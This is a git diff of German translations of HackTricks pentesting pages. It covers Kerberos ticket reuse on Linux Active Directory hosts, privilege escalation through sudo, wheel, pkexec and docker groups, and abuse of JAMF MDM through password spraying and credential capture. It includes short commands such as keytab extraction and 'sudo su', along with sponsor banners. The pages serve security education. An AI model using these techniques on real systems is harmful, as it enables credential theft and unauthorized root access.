except AssertionError:
|
||||
print(f"\nNot a Super User!!!\n")
|
||||
```
|
||||
wird umgangen
|
||||
will umgangen
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
@ -1070,17 +1080,25 @@ wird umgangen
|
|||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,35 @@
|
|||
# Linux Active Directory
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
Eine Linux-Maschine kann auch in einer Active Directory-Umgebung vorhanden sein.
|
||||
|
||||
Eine Linux-Maschine in einem AD könnte **verschiedene CCACHE-Tickets in Dateien speichern. Diese Tickets können wie jedes andere Kerberos-Ticket verwendet und missbraucht werden**. Um diese Tickets zu lesen, müssen Sie der Benutzerbesitzer des Tickets oder **root** auf der Maschine sein.
|
||||
Eine Linux-Maschine in einem AD könnte **verschiedene CCACHE-Tickets in Dateien speichern. Diese Tickets können wie jedes andere Kerberos-Ticket verwendet und missbraucht werden**. Um diese Tickets zu lesen, musst du der Benutzerbesitzer des Tickets oder **root** auf der Maschine sein.
|
||||
|
||||
## Enumeration
|
||||
|
||||
### AD Enumeration von Linux
|
||||
|
||||
Wenn Sie Zugriff auf ein AD in Linux (oder Bash in Windows) haben, können Sie [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) versuchen, um das AD zu enumerieren.
|
||||
Wenn du Zugriff auf ein AD in Linux (oder Bash in Windows) hast, kannst du [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) versuchen, um das AD zu enumerieren.
|
||||
|
||||
Sie können auch die folgende Seite überprüfen, um **andere Möglichkeiten zur Enumeration von AD aus Linux** zu lernen:
|
||||
Du kannst auch die folgende Seite überprüfen, um **andere Möglichkeiten zur Enumeration von AD aus Linux zu lernen**:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -33,27 +37,27 @@ Sie können auch die folgende Seite überprüfen, um **andere Möglichkeiten zur
|
|||
|
||||
### FreeIPA
|
||||
|
||||
FreeIPA ist eine Open-Source-**Alternative** zu Microsoft Windows **Active Directory**, hauptsächlich für **Unix**-Umgebungen. Es kombiniert ein vollständiges **LDAP-Verzeichnis** mit einem MIT **Kerberos** Key Distribution Center für eine Verwaltung ähnlich der Active Directory. Es nutzt das Dogtag **Zertifikatssystem** für CA- und RA-Zertifikatsmanagement und unterstützt **Multi-Faktor**-Authentifizierung, einschließlich Smartcards. SSSD ist für Unix-Authentifizierungsprozesse integriert. Erfahren Sie mehr darüber in:
|
||||
FreeIPA ist eine Open-Source-**Alternative** zu Microsoft Windows **Active Directory**, hauptsächlich für **Unix**-Umgebungen. Es kombiniert ein vollständiges **LDAP-Verzeichnis** mit einem MIT **Kerberos** Key Distribution Center für eine Verwaltung ähnlich der von Active Directory. Es nutzt das Dogtag **Zertifikatsystem** für CA- und RA-Zertifikatsmanagement und unterstützt **Multi-Faktor**-Authentifizierung, einschließlich Smartcards. SSSD ist für Unix-Authentifizierungsprozesse integriert. Erfahre mehr darüber in:
|
||||
|
||||
{% content-ref url="../freeipa-pentesting.md" %}
|
||||
[freeipa-pentesting.md](../freeipa-pentesting.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Spielen mit Tickets
|
||||
## Mit Tickets spielen
|
||||
|
||||
### Pass The Ticket
|
||||
|
||||
Auf dieser Seite finden Sie verschiedene Orte, an denen Sie **Kerberos-Tickets auf einem Linux-Host finden können**. Auf der folgenden Seite können Sie lernen, wie Sie diese CCache-Ticketformate in Kirbi (das Format, das Sie in Windows verwenden müssen) umwandeln und auch, wie Sie einen PTT-Angriff durchführen:
|
||||
Auf dieser Seite findest du verschiedene Orte, an denen du **Kerberos-Tickets auf einem Linux-Host finden könntest**. Auf der folgenden Seite kannst du lernen, wie du diese CCache-Ticketformate in Kirbi (das Format, das du in Windows verwenden musst) umwandelst und auch, wie du einen PTT-Angriff durchführst:
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
|
||||
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### CCACHE Ticket-Wiederverwendung von /tmp
|
||||
### CCACHE Ticket-Wiederverwendung aus /tmp
|
||||
|
||||
CCACHE-Dateien sind binäre Formate zum **Speichern von Kerberos-Anmeldeinformationen**, die typischerweise mit 600 Berechtigungen in `/tmp` gespeichert werden. Diese Dateien können durch ihr **Namensformat, `krb5cc_%{uid}`,** identifiziert werden, das mit der UID des Benutzers korreliert. Für die Überprüfung des Authentifizierungstickets sollte die **Umgebungsvariable `KRB5CCNAME`** auf den Pfad der gewünschten Ticketdatei gesetzt werden, um deren Wiederverwendung zu ermöglichen.
|
||||
|
||||
Listen Sie das aktuelle Ticket, das für die Authentifizierung verwendet wird, mit `env | grep KRB5CCNAME` auf. Das Format ist portabel und das Ticket kann **durch Setzen der Umgebungsvariable** mit `export KRB5CCNAME=/tmp/ticket.ccache` wiederverwendet werden. Das Kerberos-Ticket-Namensformat ist `krb5cc_%{uid}`, wobei uid die Benutzer-UID ist.
|
||||
Liste das aktuelle Ticket, das für die Authentifizierung verwendet wird, mit `env | grep KRB5CCNAME` auf. Das Format ist portabel und das Ticket kann **durch Setzen der Umgebungsvariable** mit `export KRB5CCNAME=/tmp/ticket.ccache` wiederverwendet werden. Das Kerberos-Ticket-Namensformat ist `krb5cc_%{uid}`, wobei uid die Benutzer-UID ist.
|
||||
```bash
|
||||
# Find tickets
|
||||
ls /tmp/ | grep krb5cc
|
||||
|
@ -62,9 +66,9 @@ krb5cc_1000
|
|||
# Prepare to use it
|
||||
export KRB5CCNAME=/tmp/krb5cc_1000
|
||||
```
|
||||
### CCACHE Ticket-Wiederverwendung aus dem Schlüsselbund
|
||||
### CCACHE Ticket-Wiederverwendung aus dem Keyring
|
||||
|
||||
**Kerberos-Tickets, die im Speicher eines Prozesses gespeichert sind, können extrahiert werden**, insbesondere wenn der ptrace-Schutz der Maschine deaktiviert ist (`/proc/sys/kernel/yama/ptrace_scope`). Ein nützliches Tool zu diesem Zweck findet sich unter [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), das die Extraktion erleichtert, indem es in Sitzungen injiziert und Tickets in `/tmp` dumpet.
|
||||
**Kerberos-Tickets, die im Speicher eines Prozesses gespeichert sind, können extrahiert werden**, insbesondere wenn der ptrace-Schutz der Maschine deaktiviert ist (`/proc/sys/kernel/yama/ptrace_scope`). Ein nützliches Tool zu diesem Zweck ist unter [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) zu finden, das die Extraktion erleichtert, indem es in Sitzungen injiziert und Tickets in `/tmp` dumpet.
|
||||
|
||||
Um dieses Tool zu konfigurieren und zu verwenden, werden die folgenden Schritte befolgt:
|
||||
```bash
|
||||
|
@ -95,7 +99,7 @@ klist -k /etc/krb5.keytab
|
|||
```
|
||||
### Konten aus /etc/krb5.keytab extrahieren
|
||||
|
||||
Servicekonto-Schlüssel, die für Dienste mit Root-Rechten unerlässlich sind, werden sicher in **`/etc/krb5.keytab`**-Dateien gespeichert. Diese Schlüssel, ähnlich wie Passwörter für Dienste, erfordern strikte Vertraulichkeit.
|
||||
Dienstkontoschlüssel, die für Dienste mit Root-Rechten unerlässlich sind, werden sicher in **`/etc/krb5.keytab`**-Dateien gespeichert. Diese Schlüssel, ähnlich wie Passwörter für Dienste, erfordern strikte Vertraulichkeit.
|
||||
|
||||
Um den Inhalt der Keytab-Datei zu überprüfen, kann **`klist`** verwendet werden. Das Tool ist dafür ausgelegt, Schlüsseldetails anzuzeigen, einschließlich des **NT Hash** zur Benutzerauthentifizierung, insbesondere wenn der Schlüsseltyp als 23 identifiziert wird.
|
||||
```bash
|
||||
|
@ -120,6 +124,10 @@ crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDO
|
|||
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -130,7 +138,7 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest.
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,24 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection), um einfach **Workflows** zu erstellen und zu **automatisieren**, die von den **fortschrittlichsten** Community-Tools der Welt unterstützt werden.\
|
||||
Zugang heute erhalten:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
|
||||
# Sudo/Admin Gruppen
|
||||
|
||||
|
@ -42,7 +48,7 @@ Wenn Sie feststellen, dass die Binärdatei pkexec eine SUID-Binärdatei ist und
|
|||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
Dort finden Sie, welche Gruppen berechtigt sind, **pkexec** auszuführen und **standardmäßig** können in einigen Linux-Systemen **einige der Gruppen sudo oder admin** **erscheinen**.
|
||||
Dort finden Sie, welche Gruppen berechtigt sind, **pkexec** auszuführen, und **standardmäßig** können in einigen Linux-Systemen **einige der Gruppen sudo oder admin** **erscheinen**.
|
||||
|
||||
Um **root zu werden, können Sie ausführen**:
|
||||
```bash
|
||||
|
@ -54,7 +60,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
|
|||
==== AUTHENTICATION FAILED ===
|
||||
Error executing command as another user: Not authorized
|
||||
```
|
||||
**Es liegt nicht daran, dass Sie keine Berechtigungen haben, sondern daran, dass Sie ohne eine GUI nicht verbunden sind**. Und es gibt einen Workaround für dieses Problem hier: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Sie benötigen **2 verschiedene ssh-Sitzungen**:
|
||||
**Es liegt nicht daran, dass Sie keine Berechtigungen haben, sondern daran, dass Sie ohne eine GUI nicht verbunden sind**. Und es gibt einen Workaround für dieses Problem hier: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Sie benötigen **2 verschiedene SSH-Sitzungen**:
|
||||
|
||||
{% code title="session1" %}
|
||||
```bash
|
||||
|
@ -79,7 +85,7 @@ pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
|
|||
```
|
||||
Das bedeutet, dass **jeder Benutzer, der zur Gruppe wheel gehört, alles als sudo ausführen kann**.
|
||||
|
||||
Wenn dies der Fall ist, um **root zu werden, können Sie einfach ausführen**:
|
||||
Wenn dies der Fall ist, können Sie **um root zu werden einfach ausführen**:
|
||||
```text
|
||||
sudo su
|
||||
```
|
||||
|
@ -143,7 +149,7 @@ find / -group root -perm -g=w 2>/dev/null
|
|||
```
|
||||
# Docker-Gruppe
|
||||
|
||||
Sie können das Root-Dateisystem des Host-Systems an das Volume einer Instanz mounten, sodass beim Start der Instanz sofort ein `chroot` in dieses Volume geladen wird. Dies gibt Ihnen effektiv Root-Zugriff auf die Maschine.
|
||||
Sie können das Root-Dateisystem des Host-Systems an das Volume einer Instanz anhängen, sodass beim Start der Instanz sofort ein `chroot` in dieses Volume geladen wird. Dies gibt Ihnen effektiv Root-Zugriff auf die Maschine.
|
||||
|
||||
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
|
||||
|
||||
|
@ -151,15 +157,23 @@ Sie können das Root-Dateisystem des Host-Systems an das Volume einer Instanz mo
|
|||
|
||||
# lxc/lxd-Gruppe
|
||||
|
||||
[lxc - Privilegieneskalation](lxd-privilege-escalation.md)
|
||||
[lxc - Privilege Escalation](lxd-privilege-escalation.md)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection), um einfach **Workflows** zu erstellen und **zu automatisieren**, die von den **fortschrittlichsten** Community-Tools der Welt unterstützt werden.\
|
||||
Zugang heute erhalten:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS-Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>HackTricks unterstützen</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -6,7 +6,7 @@ Lerne & übe GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -15,6 +15,14 @@ Lerne & übe GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Erhalte die Perspektive eines Hackers auf deine Webanwendungen, Netzwerke und Cloud
|
||||
|
||||
**Finde und melde kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Nutze unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die dir ermöglichen, Privilegien zu eskalieren, und verwende automatisierte Exploits, um wesentliche Beweise zu sammeln, die deine harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Missbrauch von MDMs
|
||||
|
||||
* JAMF Pro: `jamf checkJSSConnection`
|
||||
|
@ -34,7 +42,7 @@ Ein MDM hat die Berechtigung, Profile zu installieren, abzufragen oder zu entfer
|
|||
|
||||
Um dein eigenes MDM zu betreiben, musst du **dein CSR von einem Anbieter signieren lassen**, was du versuchen könntest, mit [**https://mdmcert.download/**](https://mdmcert.download/). Und um dein eigenes MDM für Apple-Geräte zu betreiben, könntest du [**MicroMDM**](https://github.com/micromdm/micromdm) verwenden.
|
||||
|
||||
Um jedoch eine Anwendung auf einem registrierten Gerät zu installieren, muss sie weiterhin von einem Entwicklerkonto signiert sein... jedoch fügt das **Gerät bei der MDM-Registrierung das SSL-Zertifikat des MDM als vertrauenswürdige CA hinzu**, sodass du jetzt alles signieren kannst.
|
||||
Um jedoch eine Anwendung auf einem registrierten Gerät zu installieren, musst du sie immer noch von einem Entwicklerkonto signieren lassen... jedoch fügt das **Gerät beim MDM-Registrierungsprozess das SSL-Zertifikat des MDM als vertrauenswürdige CA hinzu**, sodass du jetzt alles signieren kannst.
|
||||
|
||||
Um das Gerät in ein MDM zu registrieren, musst du eine **`mobileconfig`**-Datei als Root installieren, die über eine **pkg**-Datei bereitgestellt werden könnte (du könntest sie in zip komprimieren und wenn sie von Safari heruntergeladen wird, wird sie dekomprimiert).
|
||||
|
||||
|
@ -42,15 +50,15 @@ Um das Gerät in ein MDM zu registrieren, musst du eine **`mobileconfig`**-Datei
|
|||
|
||||
### Missbrauch von JAMF PRO
|
||||
|
||||
JAMF kann **benutzerdefinierte Skripte** (Skripte, die vom Sysadmin entwickelt wurden), **native Payloads** (Erstellung lokaler Konten, Festlegung des EFI-Passworts, Datei-/Prozessüberwachung...) und **MDM** (Gerätekonfigurationen, Gerätezertifikate...) ausführen.
|
||||
JAMF kann **benutzerdefinierte Skripte** (Skripte, die vom Sysadmin entwickelt wurden), **native Payloads** (Erstellung lokaler Konten, EFI-Passwort festlegen, Datei-/Prozessüberwachung...) und **MDM** (Gerätekonfigurationen, Gerätezertifikate...) ausführen.
|
||||
|
||||
#### JAMF Selbstregistrierung
|
||||
|
||||
Gehe zu einer Seite wie `https://<company-name>.jamfcloud.com/enroll/`, um zu sehen, ob sie **Selbstregistrierung aktiviert** haben. Wenn ja, könnte es **nach Anmeldeinformationen fragen**.
|
||||
Gehe zu einer Seite wie `https://<company-name>.jamfcloud.com/enroll/`, um zu sehen, ob sie **Selbstregistrierung aktiviert haben**. Wenn sie es haben, könnte es **nach Anmeldeinformationen fragen**.
|
||||
|
||||
Du könntest das Skript [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) verwenden, um einen Passwort-Spraying-Angriff durchzuführen.
|
||||
|
||||
Darüber hinaus könntest du nach dem Finden geeigneter Anmeldeinformationen in der Lage sein, andere Benutzernamen mit dem nächsten Formular zu brute-forcen:
|
||||
Darüber hinaus könntest du, nachdem du die richtigen Anmeldeinformationen gefunden hast, in der Lage sein, andere Benutzernamen mit dem nächsten Formular zu brute-forcen:
|
||||
|
||||
![](<../../.gitbook/assets/image (107).png>)
|
||||
|
||||
|
@ -105,7 +113,7 @@ Mit diesen Informationen **erstellen Sie eine VM** mit der **gestohlenen** Hardw
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1025).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||
|
||||
Sie könnten auch den Speicherort `/Library/Application Support/Jamf/tmp/` überwachen, um die **benutzerdefinierten Skripte** zu erfassen, die Administratoren möglicherweise über Jamf ausführen möchten, da sie **hier platziert, ausgeführt und entfernt** werden. Diese Skripte **könnten Anmeldeinformationen enthalten**.
|
||||
